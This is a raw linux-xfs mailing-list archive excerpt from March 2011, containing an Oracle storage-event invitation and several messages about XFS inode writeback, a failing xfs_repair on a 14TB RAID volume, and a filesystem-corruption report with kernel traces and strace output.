https://gcmprm.oracle.com/ctd/lu?RID=3-1N7AP6R&CON=&PRO=3-1N65VMG&AID=&OID=3-1MRGLGC&CID=3-1MRGLFU&COID=3-1MRGLG9&T=http%3a%2f%2fwww.oracle.com%2fgo%2f%3f%26Src%3d7006184%26Act%3d356%26pcode%3dNAFM10038064MPP153&TN=Register+Now&RT=Clicked+On+URL Register now for this FREE event. https://gcmprm.oracle.com/ctd/lu?RID=3-1N7AP6R&CON=&PRO=3-1N65VMG&AID=&OID=3-1MRGLGC&CID=3-1MRGLFU&COID=3-1MRGLG9&T=http%3a%2f%2fwww.oracle.com%2fgo%2f%3f%26Src%3d7006184%26Act%3d356%26pcode%3dNAFM10038064MPP153&TN=Register+now+for+this+FREE+event.&RT=Clicked+On+URL Thursday, March 24, 2011 8:30 a.m. - 12:00 noon Westin San Francisco Market Street 50 Third Street San Francisco, CA 94103 +1.415.974.6400 Agenda 8:30 a.m. Breakfast and Registration 9:00 a.m. Keynote: The Power of Automated Tiered Storage Rob Klusman, Director, Oracle Storage Sales Consulting 9:30 a.m. Optimized Archive Architectures 10:15 a.m. Break 10:30 a.m. Best Practices for Database Data Protection 11:15 a.m. Maximizing Database Application Performance with Flash and Solid State Disks (SSDs) Noon Wrap-up & Lunch Register NOW for this FREE event or call 1.800.820.5592 ext. 8940 https://gcmprm.oracle.com/ctd/lu?RID=3-1N7AP6R&CON=&PRO=3-1N65VMG&AID=&OID=3-1MRGLGC&CID=3-1MRGLFU&COID=3-1MRGLG9&T=http%3a%2f%2fwww.oracle.com%2fgo%2f%3f%26Src%3d7006184%26Act%3d356%26pcode%3dNAFM10038064MPP153&TN=Register+NOW&RT=Clicked+On+URL If you are an employee or official of a government organization, please click here for important ethics information regarding this event. https://gcmprm.oracle.com/ctd/lu?RID=3-1N7AP6R&CON=&PRO=3-1N65VMG&AID=&OID=3-1MRGLGC&CID=3-1MRGLFU&COID=3-1MRGLG9&T=http%3a%2f%2fwww.oracle.com%2fus%2fdm%2fh2fy11%2f67715-nafm10038064mpp153-d-324262.html&TN=click+here&RT=Clicked+On+URL ---------------------------------------------------------------------- Hardware and Software Engineered to Work Together ======================================================================= 67377 Oracle Corporation - Worldwide Headquarters, 500 Oracle Parkway, OPL - E-mail Services, Redwood Shores, CA 94065, United States Create or update your profile to receive customized e-mail about Oracle products and services. Go to: http://myprofile.oracle.com/ If you do not wish to receive any further electronic marketing communications from Oracle you can Opt-Out completely, please note you will no longer receive newsletters and product information you may have subscribed to. https://gcmprm.oracle.com/ctd/unsub?RID=3-1N7AP6R&CON=&PRO=3-1N65VMG&AID=&OID=3-1MRGLGC&CID=3-1MRGLFU&COID=3-1MRGLG9&RT=One+Click+Unsub&LC=ENU --BF_1299061520313_674405551 Content-Type: text/html; charset=UTF-8 Join Us: Oracle Tiered Storage Day - San Francisco
Oracle Corporation
 Join Us: Oracle Tiered Storage Day - San Francisco

Cut Costs, Maximize Efficiencies, and Increase Performance

Dear David Chinner,

Enterprise data may be your most valuable resource. It’s also very likely becoming the hardest—and most expensive—to manage.

How to Optimize Database, Data Protection, and Archive Results

Now you can reduce storage acquisition, management, and operating costs while increasing performance and scalability. All with Oracle’s comprehensive tiered storage solutions—including tape, disk, unified, and flash storage, storage management, database and content management software. Join us at this Oracle Tiered Storage Day, and learn how to:

  • Reduce IT costs—by leveraging software intelligence and aligning data to the best storage media
  • Manage data growth—using automated multitier data management and sophisticated data management policies
  • Improve performance—by increasing transaction rates and throughput, and reducing wait times
  • Scale quickly and reliably—with the best scalability and interoperability
  • Reduce risk—by going with leading database, content management and storage solutions, completely backed by Oracle worldwide

Your data is going to keep growing. It’s time for a storage solution that can grow with—or ahead—of it. 

Register now for this FREE event or
call 1.800.820.5592 ext. 8940

Oracle Storage Solutions
Register now for this FREE event.

 Thursday,
March 24, 2011

8:30 a.m. – 12:00 noon

Westin San Francisco Market Street
50 Third Street
San Francisco, CA 94103
+1.415.974.6400

Agenda
8:30 a.m. Breakfast and Registration
9:00 a.m. Keynote:
The Power of Automated Tiered Storage
Rob Klusman, Director, Oracle Storage Sales Consulting
9:30 a.m. Optimized Archive Architectures 
10:15 a.m.

Break

10:30 a.m.  Best Practices for Database Data Protection 
11:15 a.m.  Maximizing Database Application Performance with Flash and Solid State Disks (SSDs) 
Noon Wrap-up & Lunch 

Register NOW for this FREE event or call 1.800.820.5592 ext. 8940

If you are an employee or official of a government organization, please ! click here for important ethics information regarding this event.

Hardware and Software Engineered to Work Together
Copyright © 2011, Oracle. All rights reserved. Contact Us | Legal Notices and Terms of Use | Privacy Statement

67714

Oracle Corporation - Worldwide Headquarters, 500 Oracle Parkway, OPL - E-mail Services, Redwood Shores, CA 94065, United States

Create or update your profile to receive customized e-mail about Oracle products and services.

If you do not wish to receive any further electronic marketing communications from Oracle you can Opt-Out completely, please note you will no longer receive newsletters and product information you may have subscribed to.

--BF_1299061520313_674405551-- From BATV+be4842a3a374e6fa385c+2747+infradead.org+hch@bombadil.srs.infradead.org Wed Mar 2 08:09:37 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p22E9ZUH023516 for ; Wed, 2 Mar 2011 08:09:37 -0600 X-ASG-Debug-ID: 1299075144-207a03930000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 4A338157B7F6 for ; Wed, 2 Mar 2011 06:12:25 -0800 (PST) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id 8o5Q2tiaIb1HkvCq for ; Wed, 02 Mar 2011 06:12:25 -0800 (PST) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Pummq-00029B-My; Wed, 02 Mar 2011 14:12:20 +0000 Date: Wed, 2 Mar 2011 09:12:20 -0500 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com, chris.mason@oracle.com X-ASG-Orig-Subj: Re: [PATCH 5/5] xfs: kick inode writeback when low on memory Subject: Re: [PATCH 5/5] xfs: kick inode writeback when low on memory Message-ID: <20110302141220.GA4363@infradead.org> References: <1298412969-14389-1-git-send-email-david@fromorbit.com> <1298412969-14389-6-git-send-email-david@fromorbit.com> <20110302030602.GD4905@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110302030602.GD4905@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1299075145 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Wed, Mar 02, 2011 at 02:06:02PM +1100, Dave Chinner wrote: > I'm open to ideas here - I could convert the bdi flusher > infrastructure to cmwqs rather than using worker threads, or move > all dirty inode tracking and writeback into XFS, or ??? Tejun posted patches to convert the writeback threads to workqueues. But I think sooner or later we should stop using VFS dirty state for metadata. By allowing the dirty_inode operation to return a value and say it shouldn't be marked dirty that could be done relatively easily. From lists@nabble.com Wed Mar 2 10:54:27 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p22GsRhm033249 for ; Wed, 2 Mar 2011 10:54:27 -0600 X-ASG-Debug-ID: 1299085034-289700ba0000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from sam.nabble.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 624891333367 for ; Wed, 2 Mar 2011 08:57:14 -0800 (PST) Received: from sam.nabble.com (sam.nabble.com [216.139.236.26]) by cuda.sgi.com with ESMTP id fCx3KeGUutfRX5Fp for ; Wed, 02 Mar 2011 08:57:14 -0800 (PST) Received: from isper.nabble.com ([192.168.236.156]) by sam.nabble.com with esmtp (Exim 4.69) (envelope-from ) id 1PupMQ-0002Zi-F7 for linux-xfs@oss.sgi.com; Wed, 02 Mar 2011 08:57:14 -0800 Message-ID: <31051172.post@talk.nabble.com> Date: Wed, 2 Mar 2011 08:57:14 -0800 (PST) From: tramper To: linux-xfs@oss.sgi.com X-ASG-Orig-Subj: xfs 14TB - check Subject: xfs 14TB - check MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Nabble-From: michael.weingartner@tuwien.ac.at X-Barracuda-Connect: sam.nabble.com[216.139.236.26] X-Barracuda-Start-Time: 1299085035 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.56852 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Hallo Forum, i formated a storage with 16 disks (Raid5 and sparedrive) with xfs. The volume is 14TB big. There where circuit Problems and we had several server shutdowns and Problems. Now I want to check my xfs Partition. i used xfs_repair /dev/cciss/c0...p1 and got the following error message: fatal error -- couldn't allocate block map, size XXXXXXX I have 2 GB of Ram in the machine. What should I do and how to check my volume? with kind regards traper -- View this message in context: http://old.nabble.com/xfs-14TB---check-tp31051172p31051172.html Sent from the linux-xfs mailing list archive at Nabble.com. From lists@nabble.com Wed Mar 2 10:54:51 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p22Gspoi033274 for ; Wed, 2 Mar 2011 10:54:51 -0600 X-ASG-Debug-ID: 1299085060-1bed021f0000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from sam.nabble.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 3CABD13333B1 for ; Wed, 2 Mar 2011 08:57:41 -0800 (PST) Received: from sam.nabble.com (sam.nabble.com [216.139.236.26]) by cuda.sgi.com with ESMTP id xCtfXM4kk2b7J0GA for ; Wed, 02 Mar 2011 08:57:41 -0800 (PST) Received: from isper.nabble.com ([192.168.236.156]) by sam.nabble.com with esmtp (Exim 4.69) (envelope-from ) id 1PupMq-0002bt-Rc for linux-xfs@oss.sgi.com; Wed, 02 Mar 2011 08:57:40 -0800 Message-ID: <31051172.post@talk.nabble.com> Date: Wed, 2 Mar 2011 08:57:40 -0800 (PST) From: tramper To: linux-xfs@oss.sgi.com X-ASG-Orig-Subj: xfs 14TB - check Subject: xfs 14TB - check MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Nabble-From: michael.weingartner@tuwien.ac.at X-Barracuda-Connect: sam.nabble.com[216.139.236.26] X-Barracuda-Start-Time: 1299085061 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.56852 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Hallo Forum, i formated a storage with 16 disks (Raid5 and sparedrive) with xfs. The volume is 14TB big. There where circuit Problems and we had several server shutdowns and Problems. The Server is a ubuntu 8.04 32bit. Now I want to check my xfs Partition. i used xfs_repair /dev/cciss/c0...p1 and got the following error message: fatal error -- couldn't allocate block map, size XXXXXXX I have 2 GB of Ram in the machine. What should I do and how to check my volume? with kind regards traper -- View this message in context: http://old.nabble.com/xfs-14TB---check-tp31051172p31051172.html Sent from the linux-xfs mailing list archive at Nabble.com. From schmorp@schmorp.de Wed Mar 2 11:55:12 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.7 required=5.0 tests=BAYES_00,J_CHICKENPOX_44, J_CHICKENPOX_47 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p22HtB7F036242 for ; Wed, 2 Mar 2011 11:55:12 -0600 X-ASG-Debug-ID: 1299088679-174f03af0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail.nethype.de (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 243AC30B86F for ; Wed, 2 Mar 2011 09:57:59 -0800 (PST) Received: from mail.nethype.de (mail.nethype.de [78.47.73.129]) by cuda.sgi.com with ESMTP id vbJrRlRiNK4DZ4tt for ; Wed, 02 Mar 2011 09:57:59 -0800 (PST) Received: from [10.0.0.5] (helo=doom.schmorp.de) by mail.nethype.de with esmtp (Exim 4.72) (envelope-from ) id 1PuqJC-0007Xg-7b for xfs@oss.sgi.com; Wed, 02 Mar 2011 17:57:58 +0000 Received: from [10.0.0.20] (helo=yama) by doom.schmorp.de with esmtp (Exim 4.72) (envelope-from ) id 1PuqJB-0001eO-W3 for xfs@oss.sgi.com; Wed, 02 Mar 2011 17:57:58 +0000 Received: from root by yama with local (Exim 4.72) (envelope-from ) id 1PuqJA-00029c-Ux for xfs@oss.sgi.com; Wed, 02 Mar 2011 18:57:57 +0100 Date: Wed, 2 Mar 2011 18:57:56 +0100 From: Marc Lehmann To: xfs@oss.sgi.com X-ASG-Orig-Subj: corruption, xfs_repair 3.1.4 segfaults Subject: corruption, xfs_repair 3.1.4 segfaults Message-ID: <20110302175756.GA8279@schmorp.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-PGP: "1024D/DA743396 1999-01-26 Marc Alexander Lehmann Key fingerprint = 475A FE9B D1D4 039E 01AC C217 A1E8 0270 DA74 3396" X-Barracuda-Connect: mail.nethype.de[78.47.73.129] X-Barracuda-Start-Time: 1299088680 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.56856 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Hi! I had a case of filesystem corruption a day ago: Mar 1 21:31:28 doom kernel: [566626.329885] ffff880082a8f400: f3 6e 16 9b 4e ae cd 1c 49 75 21 65 86 c0 8c 3a .n..N...Iu!e...: 2/debian/build/source_amd64_none/fs/xfs/xfs_btree.c. Caller 0xffffffffa10721d0 Mar 1 21:31:28 doom kernel: [566626.329902] Filesystem "loop18": XFS internal error xfs_btree_check_sblock at line 124 of file /build/buildd-linux-2.6_2.6.32-30-amd64-d4MbNM/linux-2.6-2.6.3 Mar 1 21:31:28 doom kernel: [566626.329909] Mar 1 21:31:28 doom kernel: [566626.329918] Pid: 27165, comm: expire Tainted: P C 2.6.32-5-amd64 #1 Mar 1 21:31:28 doom kernel: [566626.329923] Call Trace: Mar 1 21:31:28 doom kernel: [566626.329973] [] ? xfs_btree_read_buf_block+0x6d/0x8f [xfs] Mar 1 21:31:28 doom kernel: [566626.330005] [] ? xfs_btree_check_sblock+0xbd/0xc4 [xfs] Mar 1 21:31:28 doom kernel: [566626.330037] [] ? xfs_btree_read_buf_block+0x6d/0x8f [xfs] Mar 1 21:31:28 doom kernel: [566626.330068] [] ? xfs_btree_read_buf_block+0x6d/0x8f [xfs] Mar 1 21:31:28 doom kernel: [566626.330100] [] ? xfs_btree_lookup_get_block+0x87/0xac [xfs] Mar 1 21:31:28 doom kernel: [566626.330132] [] ? xfs_btree_lookup+0x12a/0x3cc [xfs] Mar 1 21:31:28 doom kernel: [566626.330166] [] ? kmem_zone_zalloc+0x1e/0x2e [xfs] Mar 1 21:31:28 doom kernel: [566626.330194] [] ? xfs_allocbt_init_cursor+0x35/0x91 [xfs] Mar 1 21:31:28 doom kernel: [566626.330222] [] ? xfs_free_ag_extent+0x5b/0x665 [xfs] Mar 1 21:31:28 doom kernel: [566626.330251] [] ? xfs_free_extent+0x9a/0xb8 [xfs] Mar 1 21:31:28 doom kernel: [566626.330284] [] ? xfs_trans_get_efd+0x21/0x29 [xfs] Mar 1 21:31:28 doom kernel: [566626.330315] [] ? xfs_bmap_finish+0xef/0x162 [xfs] Mar 1 21:31:28 doom kernel: [566626.330349] [] ? xfs_itruncate_finish+0x17d/0x295 [xfs] Mar 1 21:31:28 doom kernel: [566626.330383] [] ? xfs_inactive+0x1d4/0x3f0 [xfs] Mar 1 21:31:28 doom kernel: [566626.330395] [] ? clear_inode+0x79/0xd0 Mar 1 21:31:28 doom kernel: [566626.330403] [] ? generic_delete_inode+0xf4/0x168 Mar 1 21:31:28 doom kernel: [566626.330411] [] ? do_unlinkat+0xf7/0x149 Mar 1 21:31:28 doom kernel: [566626.330419] [] ? sys_write+0x60/0x6e Mar 1 21:31:28 doom kernel: [566626.330428] [] ? system_call_fastpath+0x16/0x1b amd64_none/fs/xfs/xfs_bmap.c. Return address = 0xffffffffa106d05f Mar 1 21:31:28 doom kernel: [566626.330448] xfs_force_shutdown(loop18,0x8) called from line 4341 of file /build/buildd-linux-2.6_2.6.32-30-amd64-d4MbNM/linux-2.6-2.6.32/debian/build/source_ Mar 1 21:31:28 doom kernel: [566626.342806] Filesystem "loop18": Corruption of in-memory data detected. Shutting down filesystem: loop18 Mar 1 21:31:28 doom kernel: [566626.342819] Please umount the filesystem, and rectify the problem(s) I tried to use xfs_repair on it, but it crashes (and, as I may grudgingly add, as usual it crashes because thats what xfsrepair does almost always). The xfs_repair is from debians xfsprogs 3.1.4, and here is an strace just before it crashes: pread(4, "IN\201\200\2\2\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0\0\0\0\0\6"..., 8192, 125284311040) = 8192 pread(4, "IN\201\200\2\2\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0\0\0\0\0\6"..., 8192, 125284319232) = 8192 pread(4, "IN\201\200\2\2\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0\0\0\0\0\6"..., 8192, 125284327424) = 8192 pread(4, "IN\201\200\2\2\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0\0\0\0\0\10"..., 8192, 125284483072) = 8192 pread(4, "INA\300\2\2\0\0\0\0\0\0\0\0\0\0\0\0\0\2\0\0\0\0\0\0\0\0\0\0\0\f"..., 8192, 125284491264) = 8192 pread(4, "XD2D\0000\17\320\0\0\0\0\0\0\0\0\0\0\0\0 \17q\234\1.\\\237\321\16\0\20"..., 4096, 126276620288) = 4096 pread(4, "XD2D\0\340\0010\0\20\0\300\2\340\0\260\377\377\0\300\223\370_\347\003508\0\311\0\20"..., 4096, 126284730880) = 4096 pread(4, "XD2D\t \6\340\3`\1\200\0\240\1p\377\377\0\20\223\370\251\235\003763\0\0\0\20"..., 4096, 126284970496) = 4096 pread(4, "XD2D\0000\7\200\t\20\0\360\n\20\0\360\0\0\0\0 \17q\237\1.+\2000\214\0\20"..., 4096, 126333133824) = 4096 pread(4, "XD2D\1`\16\240\0\20\1@\0\0\0\0\377\377\1@\224\254\204,\003253\0\311\0\20"..., 4096, 126338785792) = 4096 pread(4, "XD2D\6\360\t\20\0\20\5\340\0060\0\260\377\377\5\340\224\255\7d\003508\0\0\0\20"..., 4096, 126341941760) = 4096 pread(4, "XD2D\10\340\7 \0000\4\260\6\220\2@\0\0\0\0 \17q\240\1.\21y\0\210\0\20"..., 4096, 126343030272) = 4096 pread(4, "XD2D\0\20\t\300\t\340\6 \0\0\0\0\377\377\t\300\225\37t\346\003253\0\210\0\20"..., 4096, 126343054848) = 4096 pread(4, "XD2D\0000\17\320\0\0\0\0\0\0\0\0\0\0\0\0 \17q\242\1.\0\0\0\0\0\20"..., 4096, 125026532864) = 4096 pread(4, "XD2D\7p\10\220\0\20\5@\6\360\0 \377\377\5@\226\fi\275\003508\0\0\0\20"..., 4096, 125026524672) = 4096 mmap(NULL, 3107426304, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f84388d1000 pread(4, 0x7f84388d1200, 18446744072522006528, 51859947520) = -1 EFAULT (Bad address) open("/usr/share/locale/en_US.UTF-8/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT (No such file or directory) open("/usr/share/locale/en_US.utf8/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT (No such file or directory) open("/usr/share/locale/en_US/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT (No such file or directory) open("/usr/share/locale/en.UTF-8/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT (No such file or directory) open("/usr/share/locale/en.utf8/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT (No such file or directory) open("/usr/share/locale/en/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT (No such file or directory) write(2, "xfs_repair: read failed: Bad add"..., 37) = 37 --- SIGSEGV (Segmentation fault) @ 0 (0) --- apparently an mmap goes wrong (and if mmap fails, xfs_repair crashes here already), and then it tries to read a block beyond the end of the device, and then crashes. Any idea on where to go from here? I tried to build the git xfsprogs, but they don't build due to missing -fPIC - and as usual, thanks for any help :) Here is the output from the xfs_repair run: xfs_repair -m 990 -P /dev/loop18 Phase 1 - find and verify superblock... Phase 2 - using internal log - zero log... - scan filesystem freespace and inode maps... bad magic # 0x103404f in btbno block 9/10857 expected level 0 got 33692 in btbno block 9/10857 bad btree nrecs (42150, min=31, max=62) in btbno block 9/10857 invalid start block 2293577425 in record 0 of 4629836 btree block 9/10857 invalid start block 2285812568 in record 1 of 4629836 btree block 9/10857 invalid start block 1881255310 in record 2 of 4629836 btree block 9/10857 invalid start block 3446559310 in record 3 of 4629836 btree block 9/10857 invalid start block 675798585 in record 4 of 4629836 btree block 9/10857 invalid start block 1988423791 in record 5 of 4629836 btree block 9/10857 invalid start block 1478079706 in record 6 of 4629836 btree block 9/10857 invalid start block 988724204 in record 7 of 4629836 btree block 9/10857 invalid start block 2507314510 in record 8 of 4629836 btree block 9/10857 invalid start block 2971518545 in record 9 of 4629836 btree block 9/10857 invalid start block 690057367 in record 10 of 4629836 btree block 9/10857 invalid start block 2865073461 in record 11 of 4629836 btree block 9/10857 invalid start block 1912136343 in record 12 of 4629836 btree block 9/10857 invalid start block 2593100555 in record 13 of 4629836 btree block 9/10857 invalid start block 1890364231 in record 14 of 4629836 btree block 9/10857 invalid start block 1138733060 in record 15 of 4629836 btree block 9/10857 invalid start block 1780107146 in record 16 of 4629836 btree block 9/10857 invalid start block 2459595538 in record 17 of 4629836 btree block 9/10857 invalid length 967647152 in record 18 of 4629836 btree block 9/10857 invalid start block 2356139990 in record 19 of 4629836 btree block 9/10857 invalid start block 3025317822 in record 20 of 4629836 btree block 9/10857 invalid start block 2576064389 in record 21 of 4629836 btree block 9/10857 invalid start block 2951059818 in record 22 of 4629836 btree block 9/10857 invalid start block 318397717 in record 23 of 4629836 btree block 9/10857 invalid start block 433828196 in record 24 of 4629836 btree block 9/10857 block (9,33424265-33424265) multiply claimed by bno space tree, state - 7 block (9,56547788-56547788) multiply claimed by bno space tree, state - 7 block (9,67118454-67118454) multiply claimed by bno space tree, state - 7 block (9,67118456-67118456) multiply claimed by bno space tree, state - 7 block (9,67118459-67118459) multiply claimed by bno space tree, state - 7 block (9,67118462-67118462) multiply claimed by bno space tree, state - 7 block (9,67118511-67118512) multiply claimed by bno space tree, state - 7 block (9,67118515-67118515) multiply claimed by bno space tree, state - 7 [... lots of similar lines snipped...] invalid start block 3236179925 in record 57 of 4629832 btree block 9/10795 invalid start block 410235468 in record 58 of 4629832 btree block 9/10795 invalid start block 3353408206 in record 59 of 4629832 btree block 9/10795 invalid start block 1222326613 in record 60 of 4629832 btree block 9/10795 invalid start block 1521123165 in record 61 of 4629832 btree block 9/10795 cnt freespace btree block claimed (state 1), agno 9, bno 56547789, suspect 0 agf_freeblks 7328791, counted 4374413 in ag 9 agf_longest 32866, counted 4292013384 in ag 9 sb_icount 0, counted 4854528 sb_ifree 0, counted 328679 sb_fdblocks 0, counted 4487315964 - found root inode chunk Phase 3 - for each AG... - scan and clear agi unlinked lists... - process known inodes and perform inode discovery... - agno = 0 - agno = 1 - agno = 2 xfs_repair: read failed: Bad address -- The choice of a Deliantra, the free code+content MORPG -----==- _GNU_ http://www.deliantra.net ----==-- _ generation ---==---(_)__ __ ____ __ Marc Lehmann --==---/ / _ \/ // /\ \/ / schmorp@schmorp.de -=====/_/_//_/\_,_/ /_/\_\ From schmorp@schmorp.de Wed Mar 2 11:55:32 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.7 required=5.0 tests=BAYES_00,J_CHICKENPOX_44, J_CHICKENPOX_47 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p22HtWHm036262 for ; Wed, 2 Mar 2011 11:55:32 -0600 X-ASG-Debug-ID: 1299088700-6d96013e0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail.nethype.de (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id DA29830B87E for ; Wed, 2 Mar 2011 09:58:20 -0800 (PST) Received: from mail.nethype.de (mail.nethype.de [78.47.73.129]) by cuda.sgi.com with ESMTP id w8NF6hWlXERsWt2T for ; Wed, 02 Mar 2011 09:58:20 -0800 (PST) Received: from [10.0.0.5] (helo=doom.schmorp.de) by mail.nethype.de with esmtp (Exim 4.72) (envelope-from ) id 1PuqJX-0007Xz-Pt for xfs@oss.sgi.com; Wed, 02 Mar 2011 17:58:19 +0000 Received: from [10.0.0.20] (helo=yama) by doom.schmorp.de with esmtp (Exim 4.72) (envelope-from ) id 1PuqJX-0001h8-JQ for xfs@oss.sgi.com; Wed, 02 Mar 2011 17:58:19 +0000 Received: from root by yama with local (Exim 4.72) (envelope-from ) id 1PuqJW-00029p-Rz for xfs@oss.sgi.com; Wed, 02 Mar 2011 18:58:18 +0100 Date: Wed, 2 Mar 2011 18:58:18 +0100 From: Marc Lehmann To: xfs@oss.sgi.com X-ASG-Orig-Subj: corruption, xfs_repair 3.1.4 segfaults Subject: corruption, xfs_repair 3.1.4 segfaults Message-ID: <20110302175818.GA8290@schmorp.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-PGP: "1024D/DA743396 1999-01-26 Marc Alexander Lehmann Key fingerprint = 475A FE9B D1D4 039E 01AC C217 A1E8 0270 DA74 3396" X-Barracuda-Connect: mail.nethype.de[78.47.73.129] X-Barracuda-Start-Time: 1299088700 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.56856 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Hi! I had a case of filesystem corruption a day ago: Mar 1 21:31:28 doom kernel: [566626.329885] ffff880082a8f400: f3 6e 16 9b 4e ae cd 1c 49 75 21 65 86 c0 8c 3a .n..N...Iu!e...: 2/debian/build/source_amd64_none/fs/xfs/xfs_btree.c. Caller 0xffffffffa10721d0 Mar 1 21:31:28 doom kernel: [566626.329902] Filesystem "loop18": 